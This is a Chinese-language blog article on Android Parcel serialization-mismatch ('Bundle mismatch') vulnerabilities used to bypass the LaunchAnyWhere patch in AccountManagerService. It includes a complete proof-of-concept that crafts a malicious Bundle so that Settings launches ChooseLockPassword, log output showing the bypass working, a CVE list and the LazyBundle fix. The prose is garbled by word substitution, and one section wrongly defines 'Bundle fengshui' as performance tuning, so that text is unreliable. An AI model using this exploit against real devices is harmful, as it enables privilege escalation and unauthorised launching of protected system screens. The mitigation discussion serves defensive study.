我正在参加「启航方案」
前语
2023年知名互联网厂商竟持续挖掘新的安卓OEM
相关缝隙,在其揭露发布的App
中完成对目前市场干流手机体系的缝隙进犯。
以下描绘,均来自此刻正发生在数以亿计手机上的真实案例。相关敏感信息现已过处理。
该互联网厂商在自家看似无害的 App
里,运用的第一个黑客技术手段,是运用一个近年来看似默默无闻、但实践进犯作用十分好的 Bundle 风水 - Android Parcel 序列化与反序列化不匹配系列缝隙
,完成 0day/Nday 进犯
,从而绕过体系校验,获取体系级 StartAnyWhere
才能。
阅读这篇文章之前先了解一下launchAnyWhere
缝隙和Bundle数据结构和反序列化
:
launchAnyWhere: Activity组件权限绕过缝隙解析
Bundle数据结构和反序列化剖析
什么是Bundle风水
Bundle
风水(Bundle Fengshui
)是指在 Android
运用开发中,运用 Bundle
类传递数据时,需求留意一些优化技巧,以防止在传递数据进程中呈现功能问题。
由于 Bundle
类是依据键值对存储数据的,并且支持多种数据类型的传递,因而在运用时需求留意以下几个方面:
防止在传递许多数据时运用 Bundle
:当需求传递许多数据时,应该考虑运用其他更高效的传递办法,例如序列化、Parcelable
等。
尽量防止运用序列化和 Parcelable
:尽管序列化和 Parcelable
能够用于传递复杂目标,但是它们的功能较低,应该尽量防止运用。
运用适宜的数据类型:在运用 Bundle
传递数据时,应该依据实践需求运用适宜的数据类型,例如运用 getInt()
而不是 getLong()
等。
合理运用 Bundle
的 API
:Bundle
类提供了多个 API
,例如 putXXX()
、getXXX()
等,应该依据实践需求运用适宜的 API
。
防止运用 Bundle
传递许多数据:Bundle
类在传递许多数据时或许会呈现功能问题,应该尽量防止运用。
总之,Bundle
风水是指在运用 Bundle
类传递数据时,需求留意一些优化技巧,以防止在传递数据进程中呈现功能问题。
相关文章:Introducing Android’s Safer Parcel – Black Hat
在开发人员操作Parcel
目标并测验从其间读取或向其间写入数据时,或许会呈现一种过错:开发人员由于种种原因,或许是太粗心、没考虑好边界条件或对某些Java
容器类型的理解有误,而导致在处理一个相同的Parcelable
目标时,从Parcel
中读取数据的字节数,和向其间写入数据的字节数不相等,而造成了错位现象,这便是Parcelable
反序列化缝隙,例如如下的代码:
public class MyClass implements Parcelable {
int a;
int b;
protected MyClass(Parcel in) {
a = in.readInt();
}
@Override
public void writeToParcel(Parcel dest, int flags) {
dest.writeInt(a);
dest.writeInt(b);
}
@Override
public int describeContents() {
return 0;
}
public static final Creator<MyClass> CREATOR = new Creator<MyClass>() {
@Override
public MyClass createFromParcel(Parcel in) {
return new MyClass(in);
}
@Override
public MyClass[] newArray(int size) {
return new MyClass[size];
}
};
}
很明显,这位开发人员中读取的时分只读取了4个字节,而写入时分却写入了8个字节!这看起来十分愚蠢,好像不会有开发人员写出这种缝隙,然而在实践的代码中或许存在比这个比如复杂得多的情况,以致于连Google的开发人员都会犯错,乃至有些缝隙我在第一次看到代码时也没有发现其间的问题,而是用了几小时时间才恍然大悟,发现其间存在一个荫蔽的读写不匹配问题。
LaunchAnyWhere缝隙代码review
launchAnyWhere: Activity组件权限绕过缝隙解析在这篇文章中咱们只大约描绘这个问题,它是在AccountManagerServic
e的AddAccount
流程中,由system_server
接收到Bundle
参数后没有进行查看,直接让Settings
取出里面的KEY_INTENT(intent)
字段并发动界面,这是一个典型的LaunchAnyWhere
缝隙,那么Google
其时的修正也很简略,挑选了中system_server
中收到Bundle
之后测验取出其间的Intent
,假如存在这个字段则查看Intent
所解分出的终究调用组件是否属于原始调用者,这样就防止了调用者以Settings
的身份发动任意Activity
的问题。
//android-28/com/android/server/accounts/AccountManagerService.java
public class AccountManagerService
extends IAccountManager.Stub
implements RegisteredServicesCacheListener<AuthenticatorDescription> {
/****部分代码省掉****/
/** Session that will encrypt the KEY_ACCOUNT_SESSION_BUNDLE in result. */
private abstract class StartAccountSession extends Session {
/****部分代码省掉****/
@Override
public void onResult(Bundle result) {
Bundle.setDefusable(result, true);
mNumResults++;
Intent intent = null;
//测验从Bundle目标中取出KEY_INTENT
if (result != null
&& (intent = result.getParcelable(AccountManager.KEY_INTENT)) != null) {
//对KEY_INTENT进行校验
if (!checkKeyIntent(
Binder.getCallingUid(),
intent)) {
onError(AccountManager.ERROR_CODE_INVALID_RESPONSE,
"invalid intent in bundle returned");
return;
}
}
/****部分代码省掉****/
sendResponse(response, result);
}
}
private void sendResponse(IAccountManagerResponse response, Bundle result) {
try {
response.onResult(result);
} catch (RemoteException e) {
// if the caller is dead then there is no one to care about remote
// exceptions
if (Log.isLoggable(TAG, Log.VERBOSE)) {
Log.v(TAG, "failure while notifying response", e);
}
}
}
private abstract class Session extends IAccountAuthenticatorResponse.Stub
implements IBinder.DeathRecipient, ServiceConnection {
/**
* Checks Intents, supplied via KEY_INTENT, to make sure that they don't violate our
* security policy.
*
* In particular we want to make sure that the Authenticator doesn't try to trick users
* into launching arbitrary intents on the device via by tricking to click authenticator
* supplied entries in the system Settings app.
*/
protected boolean checkKeyIntent(int authUid, Intent intent) {
intent.setFlags(intent.getFlags() & ~(Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION
| Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION));
long bid = Binder.clearCallingIdentity();
try {
PackageManager pm = mContext.getPackageManager();
//解分出Intent终究调用的Activity
ResolveInfo resolveInfo = pm.resolveActivityAsUser(intent, 0, mAccounts.userId);
if (resolveInfo == null) {
return false;
}
ActivityInfo targetActivityInfo = resolveInfo.activityInfo;
int targetUid = targetActivityInfo.applicationInfo.uid;
PackageManagerInternal pmi = LocalServices.getService(PackageManagerInternal.class);
// 判断是否是导出的System Activity或Activity所属运用是否和调用者同签名,满意其间之一则允许调用
if (!isExportedSystemActivity(targetActivityInfo)
&& !pmi.hasSignatureCapability(
targetUid, authUid,
PackageParser.SigningDetails.CertCapabilities.AUTH)) {
String pkgName = targetActivityInfo.packageName;
String activityName = targetActivityInfo.name;
String tmpl = "KEY_INTENT resolved to an Activity (%s) in a package (%s) that "
+ "does not share a signature with the supplying authenticator (%s).";
Log.e(TAG, String.format(tmpl, activityName, pkgName, mAccountType));
return false;
}
return true;
} finally {
Binder.restoreCallingIdentity(bid);
}
}
}
}
Settings
在收到Intent
之后调用startActivityForResultAsUser
进行发送:
androidxref.com/4.4_r1/xref…
public class AddAccountSettings extends Activity {
/****部分代码省掉****/
private final AccountManagerCallback<Bundle> mCallback = new AccountManagerCallback<Bundle>() {
@Override
public void run(AccountManagerFuture<Bundle> future) {
boolean done = true;
try {
Bundle bundle = future.getResult();
//bundle.keySet();
//取得KEY_INTENT
Intent intent = (Intent) bundle.get(AccountManager.KEY_INTENT);
if (intent != null) {
done = false;
Bundle addAccountOptions = new Bundle();
addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS,
Utils.hasMultipleUsers(AddAccountSettings.this));
addAccountOptions.putParcelable(EXTRA_USER, mUserHandle);
intent.putExtras(addAccountOptions);
//发动KEY_INTENT代表的Activity
startActivityForResultAsUser(intent, ADD_ACCOUNT_REQUEST, mUserHandle);
} else {
setResult(RESULT_OK);
if (mPendingIntent != null) {
mPendingIntent.cancel();
mPendingIntent = null;
}
}
if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "account added: " + bundle);
} catch (OperationCanceledException e) {
if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount was canceled");
} catch (IOException e) {
if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount failed: " + e);
} catch (AuthenticatorException e) {
if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount failed: " + e);
} finally {
if (done) {
finish();
}
}
}
};
}
这个补丁在其时是没什么问题,但是比及2017年,有海外的研究人员在一份歹意样本中发现,能够运用Parcelable
反序列化绕过这个补丁,由于Google的补丁是在system_server
中查看Intent
,并且又通过AIDL
传给Settings
之后发动界面,这其间跨过了进程边界,也就涉及到一次序列化和反序列化的进程,那么咱们假如通过Parcelable反序列化缝隙的字节错位
,通过精确的布局,使得system_server
在查看Intent
时找不到这个Intent
,而在错位后Settings
却刚好能够找到,这样就能够完成补丁的绕过并再次完成LaunchAnyWhere
,研究人员将发现的这种缝隙运用办法命名为Bundle mismatch
。
Bundle mismatch,如何运用Parcelable反序列化缝隙
了解了Android
结构对Bundle
类型的处理,现在咱们需求重视如何开发一个Bundle mismatch
运用,咱们仍旧以上面的缝隙为例,再回忆一下咱们的示例代码:
public class MyClass implements Parcelable {
int a;
int b;
protected MyClass(Parcel in) {
a = in.readInt();
}
@Override
public void writeToParcel(Parcel dest, int flags) {
dest.writeInt(a);
dest.writeInt(b);
}
@Override
public int describeContents() {
return 0;
}
public static final Creator<MyClass> CREATOR = new Creator<MyClass>() {
@Override
public MyClass createFromParcel(Parcel in) {
return new MyClass(in);
}
@Override
public MyClass[] newArray(int size) {
return new MyClass[size];
}
};
}
在本例中读取是4个字节,而写入是8个字节,那么咱们考虑后边4个字节是整个运用的中心,按照上文中描绘的Bundle格式解析逻辑,当序列化时多写入一个0之后,下一次读完了4字节之后,这个0会何去何从呢?
答案是他必定会作为下一个Bundle key
的key string
存在,而咱们知道readString
的最初是先读取一个int
作为字符串的长度。所以问题就有了答案,咱们后边这个0就会被认为是一个字符串的长度,并且是一个0长度的字符串,留意不是null
字符串,由于null
字符串的长度字段为-1
。
现在咱们知道,除了前面this.b
多写入的0之外,下一个4字节会作为padding
存在,那么后边咱们如何持续布局呢?这儿面需求再填充一个类型字段,咱们这儿挑选的是VAL_BYTEARRAY
,也就是13,后续还需求布局字节数组的长度和内容,这个就要结合错位前的逻辑进行布局了,通过精心调试之后,我给出的答案如下(不包含错位写入的0):
结构歹意的Bundle
public Bundle makeBundle() {
Bundle bundle = new Bundle();
Parcel bndlData = Parcel.obtain();
Parcel exp = Parcel.obtain();
exp.writeInt(3); // bundle key count
//byte[] key1Name = {0x00};//第一个元素的key咱们运用\x00,其hashcode为0,咱们只要布局后续key的hashcode都大于0即可
//String mismatch = new String(key1Name);
String mismatch = "mismatch";//后续元素的hashcode有必要大于mismatch的hashcode
exp.writeString(mismatch);
exp.writeInt(4); // VAL_PARCELABLE
exp.writeString("com.tzx.launchanywhere.MyClass"); // class name
// 这儿按照错位前的逻辑开发,错位后在这个4字节之后会多出一个4字节的0
exp.writeInt(0);
/**********************歹意结构的内容start*********************************/
byte[] key2key = {13, 0, 8};
String key2Name = new String(key2key);
// 在错位之后,多出的0作为了新的key的字符串长度,并且writeString带着的那个长度=3会正常填充上padding那个位置。使得后续读取的类型为VAL_BYTEARRAY(13),前面的0用于补上4字节的高位。而8则是字节数组的长度了。
//简略来说就是13和0这俩个字符的4个字节构成13这个数字,字符8和终止符这两个字符构成8这个数字。
exp.writeString(key2Name);//全体作为长度为3的key string
// 在错位之后,这儿的13和下面的值是作为8字节的字节数组的一部分
exp.writeInt(13);//这儿的13则也是奇妙地被解析成了VAL_BYTEARRAY(13)
int intentSizeOffset = exp.dataPosition();
// 在错位之后上面的13和这儿的值就会作为8字节的字节数组,后续就会正常解分出intent元素了,就成功绕过补丁
int evilObject = -1;//这儿应为字节数组的长度,咱们填写为intent元素所占用的长度,即可将intent元素奇妙地躲藏到字节数组中(此值被Intent长度覆盖)
exp.writeInt(evilObject);
int intentStartOffset = exp.dataPosition();
/**********************歹意结构的内容end*********************************/
/**********************intent内容start*********************************/
exp.writeString(AccountManager.KEY_INTENT);
exp.writeInt(4);// VAL_PARCELABLE
//能够直接结构Intent放在exp中,此处为了显示结构进程,将Intent字段逐一放入exp中
//Intent intent = new Intent(Intent.ACTION_RUN);
//intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
//intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.password.ChooseLockPassword"));
//exp.writeParcelable(intent, 0);
exp.writeString("android.content.Intent");// name of Class Loader
exp.writeString(Intent.ACTION_RUN); // Intent Action
Uri.writeToParcel(exp, null); // Uri is null
exp.writeString(null); // mType is null
//exp.writeString(null); // mIdentifier is null android28没有该字段
exp.writeInt(Intent.FLAG_ACTIVITY_NEW_TASK); // Flags
exp.writeString(null); // mPackage is null
exp.writeString("com.android.settings");
exp.writeString("com.android.settings.password.ChooseLockPassword");
exp.writeInt(0); //mSourceBounds = null
exp.writeInt(0); // mCategories = null
exp.writeInt(0); // mSelector = null
exp.writeInt(0); // mClipData = null
exp.writeInt(-2); // mContentUserHint
exp.writeBundle(null);
/**********************intent内容end*********************************/
int intentEndOffset = exp.dataPosition();
//将指针设置在intent数据之前,然后写入intent的大小
exp.setDataPosition(intentSizeOffset);
int intentSize = intentEndOffset - intentStartOffset;
exp.writeInt(intentSize);
Log.d("tanzhenxing33", "intentSize=" + intentSize);
//写完之后将指针重置回本来的位置
exp.setDataPosition(intentEndOffset);
// 最终一个元素在错位之前会被当成最终一个元素,错位之后就会被忽略,由于前面现已读取的元素数现已满意
String key3Name = "Padding-Key";
//String key3Name = "padding";//hashcode排序失败
exp.writeString(key3Name);
exp.writeInt(-1);//VAL_NULL
int length = exp.dataSize();
bndlData.writeInt(length);
bndlData.writeInt(0x4c444E42);//魔数
bndlData.appendFrom(exp, 0, length);//写入数据总长度
bndlData.setDataPosition(0);
Log.d("tanzhenxing33", "length=" + length);
bundle.readFromParcel(bndlData);
return bundle;
}
咱们将以上代码的到的Bundle
进行一次序列化和反序列化查看里面的key
和Value
类型:
main
:是刚结构出Bundle
的Activity
;
TestBundleMismatchResultActivity
:是进行一次内核传输的到达的第二个Activity
;
D/tanzhenxing33: intentSize=324
D/tanzhenxing33: length=480
D/tanzhenxing33: file =/storage/emulated/0/Android/data/com.tzx.launchanywhere/cache/obj.pcl
D/tanzhenxing33: MyClass:Parcel:100
D/tanzhenxing33: main key = mismatch com.tzx.launchanywhere.MyClass
D/tanzhenxing33: main key = � [B
D/tanzhenxing33: main key = Padding-Key NULL
D/tanzhenxing33: MyClass:writeToParcel
D/tanzhenxing33: onCreate:TestBundleMismatchResultActivity
D/tanzhenxing33: MyClass:Parcel:100
D/tanzhenxing33: TestBundleMismatchResultActivity key = mismatch com.tzx.launchanywhere.MyClass
D/tanzhenxing33: TestBundleMismatchResultActivity key = intent android.content.Intent
D/tanzhenxing33: TestBundleMismatchResultActivity key = [B
D/tanzhenxing33: result != null,Intent { act=android.intent.action.RUN flg=0x10000000 cmp=com.android.settings/.password.ChooseLockPassword }
能够看到刚结构出来的Bunlde
:
-
mismatch
对应的key
,其Value
为com.tzx.launchanywhere. MyClass
类型; -
�
对应的key
,其Value
为Byte
数组; -
Padding-Key
对应的key
,其Value
为NULL
;
进过一次序列化和反序列化的Bundle
:
-
mismatch
对应的key
,其Value
为com.tzx.launchanywhere. MyClass
类型; -
intent
对应的key
,其Value
为android.content.Intent
类型; - 空字符串对应的
key
,其Value
为Byte
数组;
Bundle二进制数据剖析
其实以上描绘的内容,咱们通过Bundle二进制数据的变化愈加简单理解。
在看二进制数据之前,先说了解一下String的4字节对齐
String的4字节对齐
在计算机中,由于硬件存储结构等原因,许多数据类型的内存布局都需求进行对齐,这也包含字符串类型。 在字符串中,一般是以字节为单位进行存储的,为了完成最优的内存拜访功能,一般需求将字符串的每个字符存储到 4 字节的内存地址上。 因而,当字符串的长度不是 4 的倍数时,会在字符串的结束增加额外的空字节来进行补齐,以满意 4 字节对齐的要求。例如,假如字符串的长度为 5,则会在其结束增加一个空字节,使其长度变为 8,这样就能够满意 4 字节对齐的要求。 需求留意的是,这种对齐操作会对内存运用量产生必定的影响,由于对于许多短字符串而言,它们实践运用的内存或许会比其长度更长。因而,在处理许多字符串数据时,需求留意内存的运用情况,防止呈现内存不足等问题。
Parcel中的数据写入文件
咱们将Parcel
中的数据写入文件进行查看:
private void writeByte(Parcel bndlData) {
try {
byte[] raw = bndlData.marshall();
File file = new File(getExternalCacheDir(), "obj.pcl");
if (file.exists()) {
file.delete();
} else {
file.createNewFile();
}
FileOutputStream fos = new FileOutputStream(file.getAbsolutePath());
fos.write(raw);
fos.close();
} catch (Exception e) {
e.printStackTrace();
}
}
查看二进制文件
写出的文件是一个二进制文件,咱们能够通过od
命令查看:
od -tx1 obj.pcl
也能够通过hexfiend
东西查看,下载链接为hexfiend.com/。
或者直接通过vs cdoe
装置hex
相关插件查看。
数据剖析结果
结构的歹意
Bundle
数据剖析结果
结构的歹意
Bundle
通过一次序列化和反序列化的数据剖析
对比第一张Bundle
数据剖析图,咱们只需求重视红框中的数据剖析结果即可:
- 通过一次序列化
MyClass
多写了一个int
的0; - 这个0会被作为第二个
key
的长度; - 之前
writeString
的终止符和字节对齐的4个字节,会被作为长度为0
的key
的名称; - 之前写入的
{13, 0, 8}
的前4个字节会作为长度为0
的key
的数据类型为(VAL_BYTEARRAY
=13),后边的8和字节对齐的4个字节作为ByteArray
的长度,其值等于8; - 之前写入的(
VAL_BYTEARRAY
=13)和Intent
的长度这8个字节作为长度为0
的key
的Value
; - 接下来读取
key
的长度为6,key
的名称为intent
; - 最终一个元素在错位之后就会被忽略,由于前面现已读取的元素数现已满意;
缝隙修正
上述缝隙的修正好像很直观,只需求把 MyClass
类中不匹配的读写修正就行了。但实践上这类缝隙并不是个例,历史上由于代码编写人员的粗枝大叶,曾经呈现过许多由于读写不匹配导致的提权缝隙,包含但不限于:
CVE-2017-0806 GateKeeperResponse
CVE-2017-0664 AccessibilityNodelnfo
CVE-2017-13288 PeriodicAdvertisingReport
CVE-2017-13289 ParcelableRttResults
CVE-2017-13286 OutputConfiguration
CVE-2017-13287 VerifyCredentialResponse
CVE-2017-13310 ViewPager’s SavedState
CVE-2017-13315 DcParamObject
CVE-2017-13312 ParcelableCasData
CVE-2017-13311 ProcessStats
CVE-2018-9431 OSUInfo
CVE-2018-9471 NanoAppFilter
CVE-2018-9474 MediaPlayerTrackInfo
CVE-2018-9522 StatsLogEventWrapper
CVE-2018-9523 Parcel.wnteMapInternal0
CVE-2021-0748 ParsingPackagelmpl
CVE-2021-0928 OutputConfiguration
CVE-2021-0685 ParsedIntentInfol
CVE-2021-0921 ParsingPackagelmpl
CVE-2021-0970 GpsNavigationMessage
CVE-2021-39676 AndroidFuture
CVE-2022-20135 GateKeeperResponse
…
另一个修正思路是修正 TOCTOU
缝隙本身,即确保查看和运用的反序列化目标是相同的,但这种修正方案也是治标不治本,相同或许会被进犯者找到其他的进犯路径并绕过。
因而,为了彻底解决这类层出不穷的问题,Google
提出了一种简略粗暴的缓释方案,即直接从 Bundle
类中下手。尽管 Bundle
本身是 ArrayMap
结构,但在反序列化时分即使只需求获取其间一个 key
,也需求把整个 Bundle
反序列化一遍。这其间的主要原因在于序列化数据中每个元素的大小是不固定的,且由元素的类型决议,假如不解析完前面的一切数据,就不知道目标元素在什么地方。
为此在 2021
年左右,AOSP
中针对 Bundle
提交了一个称为 LazyBundle(9ca6a5)
的 patch
。其主要思想为针对一些长度不固定的自定义类型,比如 Parcelable
、Serializable
、List
等结构或容器,会在序列化时将对应数据的大小增加到头部。这样在反序列化时遇到这些类型的数据,能够仅通过查看头部去挑选性跳过这些元素的解析,而此时 sMap
中对应元素的值会设置为 LazyValue
,在实践用到这些值的时分再去对特定数据进行反序列化。
这个 patch
能够在必定程度上缓释针对 Bundle 风水
的进犯,并且在提升体系健壮性也有所助益,由于即使对于损坏的 Parcel
数据,假如接收方没有运用到对应的字段,就能够防止异常的发生。对于之前的 Bundle
解析策略,哪怕只调用了 size
办法,也会触发一切元素的解析从而导致异常。 在这个 patch
中 unparcel
还增加了一个 boolean
参数 itemwise
,假如为 true
则按照传统办法解析每个元素,否则就会跳过 LazyValue
的解析。
有爱好的能够阅读该patch
对应提交记录,LazyBundle(9ca6a5)
Android13源码中也能够看到对应的修改:android13中的BaseBundle.java
//android-33/android/os/Parcel.java
public final class Parcel {
/****部分代码省掉****/
@Nullable
public Object readLazyValue(@Nullable ClassLoader loader) {
int start = dataPosition();
int type = readInt();
if (isLengthPrefixed(type)) {
int objectLength = readInt();
int end = MathUtils.addOrThrow(dataPosition(), objectLength);
int valueLength = end - start;
setDataPosition(end);
return new LazyValue(this, start, valueLength, type, loader);
} else {
return readValue(type, loader, /* clazz */ null);
}
}
public final void writeValue(@Nullable Object v) {
if (v instanceof LazyValue) {
LazyValue value = (LazyValue) v;
value.writeToParcel(this);
return;
}
int type = getValueType(v);
writeInt(type);
if (isLengthPrefixed(type)) {
// Length
int length = dataPosition();
writeInt(-1); // Placeholder
// Object
int start = dataPosition();
writeValue(type, v);
int end = dataPosition();
// Backpatch length
setDataPosition(length);
writeInt(end - start);
setDataPosition(end);
} else {
writeValue(type, v);
}
}
private boolean isLengthPrefixed(int type) {
// In general, we want custom types and containers of custom types to be length-prefixed,
// this allows clients (eg. Bundle) to skip their content during deserialization. The
// exception to this is Bundle, since Bundle is already length-prefixed and already copies
// the correspondent section of the parcel internally.
switch (type) {
case VAL_MAP:
case VAL_PARCELABLE:
case VAL_LIST:
case VAL_SPARSEARRAY:
case VAL_PARCELABLEARRAY:
case VAL_OBJECTARRAY:
case VAL_SERIALIZABLE:
return true;
default:
return false;
}
}
}
LaunchAnyWhere代码地址
文章到这儿就悉数讲述完啦,若有其他需求沟通的能够留言哦~!
参阅文章:
再谈Parcelable反序列化缝隙和Bundle mismatch
Bundle风水——Android序列化与反序列化不匹配缝隙详解
Android 反序列化缝隙攻防史话